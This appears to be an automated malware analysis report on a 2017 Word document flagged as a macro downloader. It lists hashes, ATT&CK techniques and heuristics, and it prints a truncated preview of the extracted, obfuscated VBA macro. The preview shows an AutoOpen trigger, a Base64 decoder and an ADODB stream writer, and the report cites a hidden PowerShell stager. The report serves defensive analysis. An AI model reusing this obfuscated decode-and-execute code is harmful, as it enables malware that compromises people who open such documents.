Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19d6fc360c1af923…

MALICIOUS

Office (OLE)

164.0 KB Created: 2017-05-04 21:41:00 Authoring application: Microsoft Office Word First seen: 2017-05-13
MD5: e66afe0fc5ec2714ed583e7affe05f71 SHA-1: f0f77361b0d23e9905d7563df88b4cc2149e47c2 SHA-256: 19d6fc360c1af923e44f173989591f382ab965767802bc54a2df875a10ca4e38
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that triggers execution. This macro utilizes CreateObject and a Base64-decoded Shell command stager, specifically 'powershell -WindowStyle Hidden $ws', indicating it's designed to download and execute a second-stage payload. The presence of legacy WordBasic markers and the ClamAV detection further support its malicious nature as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.WithMacro-6310867-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.WithMacro-6310867-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17578 bytes
SHA-256: ad8b1190bf853f13aa378be6706806c132576e0b80087a3fa725d69c4726755f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim cSZ72 As Byte
cSZ72 = 204
Dim FkNU5f3ZS As Byte
FkNU5f3ZS = 228
Dim q5vGfJq1 As Boolean
q5vGfJq1 = True
mOAT7B
End Sub

Attribute VB_Name = "Module2"
Public Function nPH76rGyV(ByVal q5uDX)

Dim GJVWAQ2K As Integer
GJVWAQ2K = 31061
Dim l8pkoXzjb As Long
l8pkoXzjb = -306143378
Dim Hufx7e2v
Dim rltPyU
Dim yCoR9N2 As Long
yCoR9N2 = Sgn(-653171406)
Dim x1fjHJy As Boolean
x1fjHJy = True
Dim N0DxHmCBp As String
N0DxHmCBp = UCase(n1PDX2E5U)
Dim BKf1DndU As Double
BKf1DndU = 2020.8880262647
Dim SEQYbZn6 As Byte
SEQYbZn6 = 192
Set Hufx7e2v = CreateObject(UsxHEt5)

Dim dXZDny As Single
dXZDny = 28214.732272881
Dim W0e3l As Integer
W0e3l = -25652
Dim V4pDh2y9 As Long
V4pDh2y9 = Sgn(0)
Dim f7hkRGCx As Integer
f7hkRGCx = 21282
Dim biUbcKPs As Byte
biUbcKPs = 91
Set rltPyU = Hufx7e2v.CreateElement(RazGUdNe)
Dim ttmRu3g As Single
ttmRu3g = Sgn(59025.425966018)
Dim HxNYUE As Single
HxNYUE = 29638.854868089
Dim Px1S0m67 As Single
Px1S0m67 = Sgn(10758.949418692)
With rltPyU
Dim oHkYgyqe As Double
oHkYgyqe = Fix(61186.127094033)
Dim k1miw As Byte
k1miw = 7
Dim MLt9d8 As Byte
MLt9d8 = 200
Dim c1ONZ5TwA As Long
c1ONZ5TwA = 0
rltPyU.DataType = "bin." & RazGUdNe

Dim erXDz As Boolean
erXDz = True
Dim RoelPz
RoelPz = Val("K")
Dim Ncu1ny6rm As Boolean
Ncu1ny6rm = True
Dim BVPHtIZ As Double
BVPHtIZ = Round(33524.227083497)
rltPyU.Text = q5uDX
End With
Dim Wa79Uok As Double
Wa79Uok = Sgn(48194.562924042)
Dim qkgaiXe As Byte
qkgaiXe = 217
Dim sD8ygr2 As Boolean
sD8ygr2 = True
Dim rgfRTCiq As Boolean
rgfRTCiq = False
nPH76rGyV = fbVKqx8cn(rltPyU.nodeTypedValue)
Dim mJNObQx As Double
mJNObQx = Sgn(53220.849524006)
Dim hiwV4v As Single
hiwV4v = Sgn(43638.979664691)
Dim nXl0axASZ As Boolean
nXl0axASZ = True
Set rltPyU = Nothing
Set Hufx7e2v = Nothing
End Function
Function fbVKqx8cn(Binary)

Dim pisQHnB As Long
pisQHnB = 0
Dim H7i8t As Byte
H7i8t = 243
Dim vnl7s2YK As Byte
vnl7s2YK = 42
Const FZD5j = 2
Const PgEIZAX4 = 1

Dim vCPjw As Single
vCPjw = 5205.7815007996
Dim JH2wWn7V As Double
JH2wWn7V = 34493.808628535
Dim eRV8o6l As Boolean
eRV8o6l = True
Dim GaR24heKs
Dim LsoRHeQ
LsoRHeQ = Len(yThlt)
Dim tdi0Jkm As Byte
tdi0Jkm = 122
Dim KZfM5JO As Boolean
KZfM5JO = True
Dim NwSGFRsV As Integer
NwSGFRsV = Sgn(-9589)

Dim WwOqbDJme As Boolean
WwOqbDJme = True
Dim vA5lc As Integer
vA5lc = -10102
Set GaR24heKs = CreateObject("adodb.stream")
Dim eq8v7PRx2
eq8v7PRx2 = RTrim(TG3tg)
Dim EpVt5 As Long
EpVt5 = Sgn(0)
Dim ay5ovFwL As Integer
ay5ovFwL = Sgn(-10290)
Dim rmxXK7j As Long
rmxXK7j = 0
Dim Ec0xE6ua As Double
Ec0xE6ua = Val(59767.38845002)
With GaR24heKs

Dim ALeYUW As Long
ALeYUW = 0
Dim xzNUpOxHT As Long
xzNUpOxHT = Sgn(0)
Dim gDWf5 As Boolean
gDWf5 = True
Dim PuS8sgql As Integer
PuS8sgql = Sgn(1680)
Dim Mw9tkgO As Boolean
Mw9tkgO = True
Dim jNXaueOp As Double
jNXaueOp = Val(30030.321653162)
.Type = PgEIZAX4

Dim b5mCfRWix As Double
b5mCfRWix = 18112.060745464
Dim DdTXwyE As Long
DdTXwyE = Sgn(-797462394)
Dim A4QIZ2z
A4QIZ2z = AscB("$")
Dim hapZ5xe As Double
hapZ5xe = Sgn(4632.9207501616)
Dim Ggdbkc As Single
Ggdbkc = Sgn(11644.568894232)
.Open
Dim NsDjJywEh As Single
NsDjJywEh = Sgn(14042.929366143)
Dim RCvc8 As Long
RCvc8 = 0
Dim Tc4Yk97 As Boolean
Tc4Yk97 = True
Dim rj7szOrbD As Double
rj7szOrbD = Val(6712.6518895683)
Dim l6yYLsa1 As Byte
l6yYLsa1 = 110
.Write Binary

Dim YE1GhSBON As Boolean
YE1GhSBON = False
Dim ZrKjt
ZrKjt = LTrim(eUcsa)
.Position = 0
Dim hb4nOxpE
hb4nOxpE = Val("v")
Dim clUyfzS
clUyfzS = Val(uLGkaym8O)
Dim OtB2T1eQ
OtB2T1eQ = "d"
Dim ifohtT As Boolean
ifohtT = False
Dim vClpA As Integer
vClpA = -12327
.Type = FZD5j

Dim 
... (truncated)

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